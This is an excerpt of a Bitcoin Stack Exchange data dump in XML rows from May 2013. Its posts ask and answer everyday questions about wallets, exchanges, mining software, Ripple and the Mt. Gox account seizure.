  <row Id="10942" PostTypeId="2" ParentId="10938" CreationDate="2013-05-15T18:01:21.933" Score="7" Body="&lt;p&gt;There are two different things here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;D-Wave machines ARE ASICs. They only solve certain particular problems. It is not really clear they take advantage of quantum effects or that they perform better than a classical ASIC working on the same problem would. In any case, they would be quantum ASICs, not general purpose quantum computers. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mining can be improved using Grover's algorithm (&lt;a href=&quot;http://en.wikipedia.org/wiki/Grover%27s_algorithm&quot;&gt;http://en.wikipedia.org/wiki/Grover%27s_algorithm&lt;/a&gt;). When you mine, you basically have a black box that you feed with guesses and the box answers whether you have &quot;won&quot; the block or not. The number of possible answers is your difficulty. It is easy to produce by chance an even number, not so easy to produce a multiple of 5743. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Imagine you have a quantum computer and a classical computer each with a black box which takes the same time to check your guess. Each guess has a probability of being right equal to (#right answers)/(#total possible answers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a classical computer you just try one by one. On average you need about (#total possible answers)/(#right answers) tries to hit a block. In a quantum computer or a quantum ASIC implementing Grover's algorithm, you only need to use the black box (what they call the &quot;oracle&quot;) the square root of (#right answers)/(#total possible answers) times. There are some other factors, but roughly you get a quadratic advantage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you never get this kind of fair comparison. I wouldn't really worry about quantum mining for a long time. Even if it were faster, it would probably be much more expensive. Think that you can always mine faster with more expensive equipment. You could mine faster with a supercomputer, but, at the cost they come, you better use it for something else. &lt;/p&gt;&#xA;" OwnerUserId="2281" LastActivityDate="2013-05-15T18:01:21.933" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10943" PostTypeId="1" AcceptedAnswerId="10954" CreationDate="2013-05-15T18:15:34.440" Score="0" ViewCount="249" Body="&lt;p&gt;I have a bunch of litecoins and want to exchange them for bitcoins. What's the easiest way of doing it, without having to sell LTCs first and then buy BTCs?&lt;/p&gt;&#xA;" OwnerUserId="4864" LastActivityDate="2013-05-15T23:33:50.797" Title="How do I exchange a cryptocurrency with another?" Tags="|exchanges|currencies|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10945" PostTypeId="2" ParentId="10943" CreationDate="2013-05-15T20:01:15.650" Score="0" Body="&lt;p&gt;If you trust the other party, you could simply agree on an exchange rate and communicate the receiving addresses of the various cryptocurrencies.  Of course, you would have to find another party that wants (for example) to purchase LTC and is willing to pay in BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Establishing trust is the real issue.&lt;/p&gt;&#xA;" OwnerUserId="5025" LastActivityDate="2013-05-15T20:01:15.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10946" PostTypeId="2" ParentId="10894" CreationDate="2013-05-15T20:05:30.493" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;To move work stats/shares you have to move those stored data. In your case probably a database.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use the same binaries if the new computer runs the same operating system on the same architecture. Otherwise just recompile them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-05-15T20:05:30.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10948" PostTypeId="2" ParentId="10943" CreationDate="2013-05-15T20:36:07.373" Score="1" Body="&lt;p&gt;Some of the exchanges, such a &lt;a href=&quot;https://vircurex.com/&quot; rel=&quot;nofollow&quot;&gt;Vircurex&lt;/a&gt;, support LTC to BTC exchange.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-05-15T20:36:07.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10949" PostTypeId="1" CreationDate="2013-05-15T20:40:37.293" Score="4" ViewCount="3756" Body="&lt;p&gt;So, keeping up to date with the blockchain is getting ridiculous in Bitcoin-QT, especially on my laptop.  If I leave it off or away from the internet for even a short period of time, it takes &lt;strong&gt;forever&lt;/strong&gt; to catch up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, fortunately, the Bitcoin network allows for a simpler model, called &lt;a href=&quot;https://en.bitcoin.it/wiki/Thin_Client_Security#Simplified_Payment_Verification_.28SPV.29&quot; rel=&quot;nofollow&quot;&gt;Simplified Payment Verification&lt;/a&gt; (or SPV) mode where only the headers of blocks are needed.  In addition, the Bitcoin network has recently been updated to support &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0037&quot; rel=&quot;nofollow&quot;&gt;bloom filtering&lt;/a&gt; so that a client only needs to download the transactions that it is interested in (plus some margin for privacy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First question:  &lt;strong&gt;Is there a client capable of importing my Bitcoin-QT wallet that supports these two options?&lt;/strong&gt; (and preferably has a light resource footprint if I'm not asking too much)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And secondly, if so, &lt;strong&gt;how can I accomplish the switch with minimal pain?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2013-12-02T08:56:27.057" Title="How do I switch from Bitcoin-QT to a lighter, faster (SPV) Bitcoin client?" Tags="|bitcoin-core|wallet.dat|bip37-bloom-filter|spv|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10950" PostTypeId="1" AcceptedAnswerId="10952" CreationDate="2013-05-15T22:24:00.007" Score="3" ViewCount="628" Body="&lt;p&gt;What will happen if someone does not copy and paste the &quot;To&quot; address properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;br&gt;&#xA;If my address is 1xxxxxxxxxxxxxxxA&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the person tries to send money to 1xxxxxxxxxxxxxxx&lt;br&gt;&#xA;(note the missing last alphabet)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;will the transaction go through and will the coins be lost?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Ryan&lt;/p&gt;&#xA;" OwnerUserId="5048" LastActivityDate="2013-05-15T23:23:53.347" Title="Bitcoin wrong address" Tags="|sending|" AnswerCount="1" CommentCount="0" ClosedDate="2013-05-16T15:11:13.010" ContentLicense="CC BY-SA 3.0" />
  <row Id="10951" PostTypeId="1" AcceptedAnswerId="10998" CreationDate="2013-05-15T23:17:58.093" Score="3" ViewCount="743" Body="&lt;p&gt;I'm submitting a Sell trade via the API, and the orderid returned is 0. It appears the trade is successful, and the adjusted funds are returned by the response. So it looks like the trade is happening instantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was originally worried about the orders taking a while and having to check to find out when an order is complete. I was planning on setting a timer to look at my tradehistory to look for a matching orderid for the trade that I submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So three questions: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Are the orders always completed when the trade call is returned, so I can just skip having to check back on orders and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If it does return a non-zero OrderID does that mean the order isn't complete and I need to do the timed checking?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, do these answers apply in the same way to a Buy order?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help. I understand the API well enough, but not how the underlying exchange functions.&lt;/p&gt;&#xA;" OwnerUserId="5049" LastActivityDate="2015-10-02T21:34:44.247" Title="BTC-e API process" Tags="|api|btce|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10952" PostTypeId="2" ParentId="10950" CreationDate="2013-05-15T23:23:53.347" Score="5" Body="&lt;p&gt;From the &lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot;&gt;bitcoin wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Several of the characters inside a Bitcoin address are used as a&#xA;  checksum so that typographical errors can be automatically found and&#xA;  rejected. The checksum also allows Bitcoin software to confirm that a&#xA;  33-character (or shorter) address is in fact valid and isn't simply an&#xA;  address with a missing character.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In other words, your wallet shouldn't let you sent coins to a bad address, and servers won't accept the transaction.&lt;/p&gt;&#xA;" OwnerUserId="4143" LastActivityDate="2013-05-15T23:23:53.347" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10954" PostTypeId="2" ParentId="10943" CreationDate="2013-05-15T23:33:50.797" Score="2" Body="&lt;p&gt;BTC-e handles a few different alt coins as well as BTC, USD and EUR. &lt;/p&gt;&#xA;" OwnerUserId="3210" LastActivityDate="2013-05-15T23:33:50.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10955" PostTypeId="2" ParentId="1490" CreationDate="2013-05-16T00:01:44.627" Score="0" Body="&lt;p&gt;There's obviously a demand for a recurring payment system.  In my opinion, there are two ways to implement such a system.  One is a change to the bitcoin base client itself so that, with explicit authorization of the user, it will send x address x # of bitcoins each x number of days.  That kind of implementation would probably have a better chance of getting implemented than something that pulls money from the bitcoin wallet since that kind of action defies the anonymous (and fairly libertarian) nature of bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it's possible that it could be it could be implemented, in my opinion, a better way would actually be to create an API to do this.  DeathAndTaxes had a good outline of what such an API would need to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea of it is somewhat different, but builds on what DeathAndTaxes said.  The email reminder would be essential if it's going to be a &quot;push&quot; payment rather than an automatic &quot;pull&quot; payment.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put this in a bitcointalk thread, but this is really a better place for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my idea for an API:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Customer submits initial payment for x bitcoins.  Future payments are then pegged to the exchange rate for x bitcoins to x dollars (or whatever currency the merchant uses).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The service asks for authorization for &quot;recurring billing&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) If the user accepts, a recurring payment schedule is setup.  Email reminders are sent out for payment like DeathAndTaxes said.  At the 30 day mark, service is shut off if user has not paid.  This could be an automatic thing, or more likely, the API would contact whoever is implemented it that x user hasn't paid and thus needs to have x service disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, another way to implement recurring payments that would make a lot of sense would be with a deluxe wallet client like Armory and not touch the base bitcoin client.  In a way, this type of implementation would make much more sense than the API implementation because it can be totally recurring without the user having to do anything other than ensure that the proper amount of bitcoins is in his or her wallet and that it's not an offline wallet.  The problem with this type of implementation, of course, is that it would limit recurring payments to Armory (or whatever other wallet client implemented it).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over time, I wouldn't be surprised if both types of implementations occur.  I don't see any reason why they can't both occur at the same time.&lt;/p&gt;&#xA;" OwnerUserId="3847" LastActivityDate="2013-05-16T00:01:44.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10956" PostTypeId="1" CreationDate="2013-05-16T00:26:25.290" Score="3" ViewCount="561" Body="&lt;p&gt;Can anyone comment on the trustworthiness of blockchain.info's mixing service (shared send). Also would it be possible for things to go wrong internally resulting in my loss?&lt;/p&gt;&#xA;" OwnerUserId="5051" LastActivityDate="2013-05-17T00:26:27.390" Title="Blockchain.info Shared Send" Tags="|blockchain.info|services|mixing|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10960" PostTypeId="1" CreationDate="2013-05-16T01:35:21.347" Score="8" ViewCount="693" Body="&lt;p&gt;Is there a definite timeline or not? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5032" LastActivityDate="2013-09-26T17:19:16.100" Title="When does OpenCoin Inc intend to make the Ripple server code public?" Tags="|ripple|server|" AnswerCount="5" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10964" PostTypeId="1" AcceptedAnswerId="11579" CreationDate="2013-05-16T06:00:17.333" Score="1" ViewCount="1232" Body="&lt;p&gt;I use Bitcoin-Qt. Decided to make another wallet and transfer some bitcoins there. Wanted to give that wallet to my friend as a gift. What I did was:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;renamed wallet.dat file to 1_wallet.dat&lt;/li&gt;&#xA;&lt;li&gt;started Bitcoin-Qt it created new wallet.dat file&lt;/li&gt;&#xA;&lt;li&gt;copied address of new wallet&lt;/li&gt;&#xA;&lt;li&gt;renamed wallet.dat to 2_wallet.dat and 1_wallet.dat back to wallet.dat&lt;/li&gt;&#xA;&lt;li&gt;transferred some bitcoins to new wallet address&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;finally after transaction was confirmed I still didn't see bitcoins in a new wallet. What I did wrong? Is it possible to get back these bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="5060" LastEditorUserId="5060" LastEditDate="2013-05-16T06:07:20.057" LastActivityDate="2013-06-11T07:21:27.857" Title="Bitcoins didn't arrive to new wallet" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10965" PostTypeId="2" ParentId="9637" CreationDate="2013-05-16T06:33:59.593" Score="4" Body="&lt;p&gt;I know this is an old question but recently I got a similar server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tested &lt;a href=&quot;https://en.bitcoin.it/wiki/RPC_Miner&quot; rel=&quot;nofollow&quot;&gt;rpcminer&lt;/a&gt;, &lt;a href=&quot;http://guiminer.org/&quot; rel=&quot;nofollow&quot;&gt;GUI Miner&lt;/a&gt; (Which is actually &lt;a href=&quot;http://ufasoft.com/coin/&quot; rel=&quot;nofollow&quot;&gt;UFASoft&lt;/a&gt; miner).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally the best I've found is &lt;a href=&quot;https://github.com/pooler/cpuminer&quot; rel=&quot;nofollow&quot;&gt;CPUMiner&lt;/a&gt;. With a hash rate of about 75MH/s, it takes a bit of setting up as CPUMiner is normally used for &lt;a href=&quot;http://litecoin.org/&quot; rel=&quot;nofollow&quot;&gt;Litecoin&lt;/a&gt; mining. CPUMiner gave me about 10%-20% more than the closest rival, which was rpcminer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've placed the following text in a .bat file that starts CPUMiner with the correct arguments.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;minerd.exe -o http://[pool url]:[pool port] -u [username] -p [password] -a sha256d -R 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The last 2 options are&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-a sha256d&lt;/code&gt; - This tells CPUMiner to use the sha256 algorithm, used for Bitcoin mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-R 2&lt;/code&gt; - Indicates the number of seconds to wait for when the pool cannot be found. I know this seems a little soon, but change yours to whatever you want.&lt;/p&gt;&#xA;" OwnerUserId="5061" LastActivityDate="2013-05-16T06:33:59.593" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="10966" PostTypeId="1" AcceptedAnswerId="11010" CreationDate="2013-05-16T07:17:58.350" Score="5" ViewCount="471" Body="&lt;pre&gt;&lt;code&gt;I have a question regarding this scenario.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Ebsm.png&quot; alt=&quot;scenario&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A (test-gateway)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;28000 XRP in balance&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;B (user1)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;trust line with A for 1000 USD&lt;/li&gt;&#xA;&lt;li&gt;400 XRP in balance&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;C (user2)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;trust line with bitstamp for 100 BTC&lt;/li&gt;&#xA;&lt;li&gt;400 XRP in balance&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A issues 100 USD/A to B&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;B now holds 100 USD/A in the balance&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A open a trade giving 10 XRP for 1 USD/A&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;B wants to send 0.1 BTC/bitstamp to C using his USD/A IOUs as source.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Will ripple do this?&#xA;  USD/A =&gt; XRP =&gt; BTC/bitstamp&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because i can't make it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C has a trust line to bitstamp.&#xA;B has no trust line with bitstamp, should it have one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(there's a lot liquidity XRP&amp;lt;=&gt;BTC/bitstamp in the order book)&lt;/p&gt;&#xA;" OwnerUserId="5063" LastEditorUserId="5063" LastEditDate="2013-05-17T18:20:45.103" LastActivityDate="2013-05-17T20:29:26.693" Title="Will ripple automagically use the ordebook when finding a path?" Tags="|ripple|trade|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10967" PostTypeId="2" ParentId="10096" CreationDate="2013-05-16T07:56:57.363" Score="1" Body="&lt;p&gt;Since you tagged your question with litecoin, I believe that you are looking to serve a litecoin pool. For my needs &lt;a href=&quot;https://github.com/ArtForz/pushpool&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ArtForz/pushpool&lt;/a&gt;&#xA;did the trick. It added scrypt support and allows you to rewrite the target difficulty (just remove &lt;code&gt;&quot;rpc.target.rewrite&quot;: true&lt;/code&gt; and replace it with &lt;code&gt;&quot;rpc.target.bits&quot;: 18&lt;/code&gt; in the config).&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-05-16T07:56:57.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10968" PostTypeId="2" ParentId="13" CreationDate="2013-05-16T08:46:42.747" Score="-2" Body="&lt;p&gt;I am not an economist, but one negative impact I can see bitcoin having if it took over an entire economy is that it would make the digital divide worse.  There are still people out there who don't have computers or cell phones.  Paying for things is easy for this group of people is still easy while there is still physical cash - but if there were only digital cash?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short of a government handout giving away free cell phones with bitcoin wallets to these people, I can't imagine this would be good for the poor and homeless people.&lt;/p&gt;&#xA;" OwnerUserId="3847" LastActivityDate="2013-05-16T08:46:42.747" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10969" PostTypeId="2" ParentId="8572" CreationDate="2013-05-16T08:54:56.447" Score="4" Body="&lt;p&gt;I really think Bitcoin's biggest vulnerability is the 51% attack that can be performed by entities with large amounts of money, not any regulatory issue.  Last I heard, it would cost $16 million to carry out a 51% attack.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this is a lot of money to most people, it's chump change to the federal government or Visa / Mastercard / Large banks.  I saw a post recently in the Bitcoin Foundation blog about how there is a legal deterrent against the 51% attack.  This is nice to know about in theory, but given how the big banks were bailed out, I don't feel like any of them would feel reluctant to carry out this attack if bitcoin became large enough to start eating into their profit margins on credit cards.  Ditto the Federal Reserve if it got big enough to really negatively impact its ability to control the US currency.&lt;/p&gt;&#xA;" OwnerUserId="3847" LastActivityDate="2013-05-16T08:54:56.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10970" PostTypeId="2" ParentId="8572" CreationDate="2013-05-16T09:33:30.783" Score="1" Body="&lt;p&gt;I know i will get a -4 ( or worst ) for this answer but . . . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the answers above are very good, one of the best ways to discredit bitcoins is to buy many and generate very big volatility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, one of the best ways to attack bitcoin could be . . . . to create ripple.&lt;/p&gt;&#xA;" OwnerUserId="558" LastActivityDate="2013-05-16T09:33:30.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10971" PostTypeId="2" ParentId="10966" CreationDate="2013-05-16T09:53:47.957" Score="-1" Body="&lt;p&gt;Short answer is: Yes. For longer detailed explanation please see &lt;a href=&quot;http://ripple.com/wiki&quot; rel=&quot;nofollow&quot;&gt;http://ripple.com/wiki&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2013-05-16T09:53:47.957" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10972" PostTypeId="2" ParentId="10960" CreationDate="2013-05-16T10:00:31.887" Score="1" Body="&lt;p&gt;There is no fixed open-sourcing date, there is certain large enhancements that OC wants to be in the initial release. My best guesstimate is that there is an 80% chance of the release before the end of the year and 50% chance before September.&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2013-05-16T10:00:31.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10973" PostTypeId="2" ParentId="10960" CreationDate="2013-05-16T10:10:07.920" Score="3" Body="&lt;p&gt;There's no timeline, but they say it's &quot;&lt;a href=&quot;https://github.com/rippleFoundation/ripple-client/issues/581&quot; rel=&quot;nofollow&quot;&gt;top priority&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-05-16T10:10:07.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10974" PostTypeId="1" CreationDate="2013-05-16T12:06:45.797" Score="52" ViewCount="202230" Body="&lt;p&gt;I had Bitcoin-Qt on my computer with several bitcoins in my wallet, using Vista. Then my computer crashed.  Finally I was able to get my computer fixed and download a new version of Bitcoin-Qt.  Now I would like to import my original &lt;code&gt;wallet.dat&lt;/code&gt; from the old client which was encrypted into an new version of Bitcoin-Qt.  How do I do that?  &lt;/p&gt;&#xA;" OwnerUserId="5065" LastEditorUserId="5406" LastEditDate="2017-06-23T22:50:18.003" LastActivityDate="2021-01-06T11:38:26.967" Title="Import wallet.dat into a new Bitcoin-Qt client" Tags="|bitcoin-core|wallet-import|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10975" PostTypeId="2" ParentId="10974" CreationDate="2013-05-16T12:16:51.880" Score="44" Body="&lt;p&gt;First, close the Bitcoin-Qt client.&lt;/p&gt;&#xA;&lt;p&gt;Then you have to locate &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory#Default_Location&quot; rel=&quot;noreferrer&quot;&gt;your Bitcoin folder.&lt;/a&gt; For Windows, it should be here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;%APPDATA%\Bitcoin&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;and for Linux:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;~/.bitcoin&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;In that folder, there should be a &lt;code&gt;wallet.dat&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you currently have no bitcoins in your wallet, you can just delete that file and replace it with your backup.&lt;/li&gt;&#xA;&lt;li&gt;If you have some bitcoins in this wallet as well, backup that wallet file as well, or send all the coins to an address from your backed up wallet.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;When you placed the other &lt;code&gt;wallet.dat&lt;/code&gt; file in place, you should run Bitcoin-Qt with the &lt;code&gt;-rescan&lt;/code&gt; option. Here's how to do that in Windows:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to &lt;code&gt;C:\Program Files (x86)\Bitcoin&lt;/code&gt; using Windows Explorer.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In that folder, hold shift and right-click and select &lt;code&gt;Open command window here&lt;/code&gt; (&lt;a href=&quot;https://i.stack.imgur.com/ZkcwZ.jpg&quot; rel=&quot;noreferrer&quot;&gt;picture&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the command prompt, type &lt;code&gt;bitcoin-qt.exe -rescan&lt;/code&gt; and hit enter (&lt;a href=&quot;https://i.stack.imgur.com/YTnkT.jpg&quot; rel=&quot;noreferrer&quot;&gt;picture&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Now Bitcoin-Qt should start and rescan the blockchain to calculate the balances of the addresses in your &lt;code&gt;wallet.dat&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;(Source for pictures: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7731/cant-see-bitcoin-after-restore-of-backup#comment10112_7734&quot;&gt;cant see bitcoin after restore of backup&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="112354" LastEditDate="2021-01-06T11:38:26.967" LastActivityDate="2021-01-06T11:38:26.967" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="10978" PostTypeId="1" AcceptedAnswerId="10981" CreationDate="2013-05-16T16:34:17.257" Score="3" ViewCount="895" Body="&lt;p&gt;I like alternative wallets like Armory and Electrum because they offer more features, some of which are fundamental for security and convenience. But I'm a bit worried about them not being &quot;compatible&quot;, I mean you can't import an Armory wallet into Bitcoin-qt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I would like to know is whether it is possible to recover my bitcoins (which if I didn't get it wrong, they are in the blockchain and could be spent with the private key) using the official wallet. For instance, the paper backup generated by Armory contains a &quot;root key&quot; and a &quot;chain code&quot;. Is one of those the private key or what?&lt;/p&gt;&#xA;" OwnerUserId="5068" LastActivityDate="2013-05-16T16:57:38.750" Title="Can I use the official wallet to recover bitcoins sent to an alternative wallet?" Tags="|blockchain|wallet|electrum|armory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10979" PostTypeId="1" AcceptedAnswerId="10995" CreationDate="2013-05-16T16:48:54.983" Score="7" ViewCount="594" Body="&lt;p&gt;Is it possible to figure out that certain addresses belong to the same wallet? Say I have 2 or 3 addresses that I know were created by a deterministic wallet like Armory. Is there a way to find all the other addresses that have been used by that wallet? I mean by that instance of a wallet, not all the addresses created by the Armory software.&lt;/p&gt;&#xA;" OwnerUserId="5068" LastEditorUserId="105" LastEditDate="2013-05-17T16:34:38.033" LastActivityDate="2014-09-30T16:12:18.783" Title="Does using deterministic wallets reduce our anonymity?" Tags="|wallet|armory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10980" PostTypeId="2" ParentId="10924" CreationDate="2013-05-16T16:54:37.003" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://cdn.arstechnica.net/wp-content/uploads/2013/05/Mt-Gox-Dwolla-Warrant-5-14-13.pdf&quot; rel=&quot;nofollow&quot;&gt;Here is a picture of the warrant&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From that, here's why the funds were seized:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;subject to forfeiture pursuant to 18 U.S.C. section 981(a)(1)(A) because the contents of the Mutum Sigillum LLC account were involved in transactions and attempted transactions in violation of 18 U.S.C. section 1960.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This references &lt;a href=&quot;http://www.law.cornell.edu/uscode/text/18/1960&quot; rel=&quot;nofollow&quot;&gt;18 U.S.C. section 1960&lt;/a&gt;, which is pertinent to the &quot;Prohibition of unlicensed money transmitting businesses&quot;, so the root cause of this is that Mt. Gox (or Mutum Sigillum LLC) is not properly licensed as a money transmitter, as Stephen correctly deduced.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The law also states that &quot;the term 'money transmitting' includes transferring funds on behalf of the public by any and all means including but not limited to transfers within this country or to locations abroad by wire, check, draft, facsimile, or courier;&quot;, so it is possible that this will affect more methods of transfer to/from Gox in the future if they do not comply and get properly licensed.&lt;/p&gt;&#xA;" OwnerUserId="3027" LastActivityDate="2013-05-16T16:54:37.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
